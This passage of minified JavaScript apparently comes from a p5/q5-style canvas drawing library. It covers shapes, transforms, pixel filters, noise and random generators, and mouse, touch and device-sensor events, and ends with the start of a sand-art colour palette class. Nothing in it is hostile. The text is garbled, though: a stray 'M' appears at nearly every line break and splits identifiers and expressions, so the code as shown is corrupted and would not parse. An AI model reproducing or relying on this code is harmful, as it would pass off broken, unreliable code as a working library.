oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
